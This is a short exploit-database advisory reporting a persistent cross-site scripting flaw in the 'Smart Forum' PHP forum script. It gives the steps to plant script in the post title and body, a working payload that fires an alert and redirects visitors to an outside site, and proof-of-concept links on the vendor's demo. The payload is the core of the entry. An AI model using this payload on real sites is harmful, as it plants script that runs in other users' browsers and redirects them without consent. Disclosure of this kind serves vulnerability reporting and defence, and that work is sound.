Smart Forum - Forum PHP Script Persistent XSS

2019.09.27
ru m0ze (RU) ru
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Smart Forum - Forum PHP Script Persistent XSS # Google Dork: - # Date: 26/09/2019 # Exploit Author: m0ze # Vendor Homepage: http://www.smarteyeapps.com/ # Software Link: https://www.codester.com/items/14423/smart-forum-forum-php-script # Version: ? (Last update: 16 September 2019) # Tested on: Parrot OS # CVE : - # CWE : 79 ----[]- Persistent XSS: -[]---- Create an account and add a new post. Title field and post text box is vulnerable, so you can add your payload(s) inside and then click on the «Add Post» button. Your payload will be triggered on the homepage and inside selected category listing. Payload Sample: "><img src=x onerror=alert('Greetings from m0ze');window.location.replace('http://defcon.su');> PoC #1: http://www.smarteyeapps.com/webapp/smart-forum/post/img-srcx-onerroralertgreetings-from-m0zewindowlocationreplacehttpdefconsu PoC #2: http://www.smarteyeapps.com/webapp/smart-forum/post/laravel-dosent-delete-record-via-ajax


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top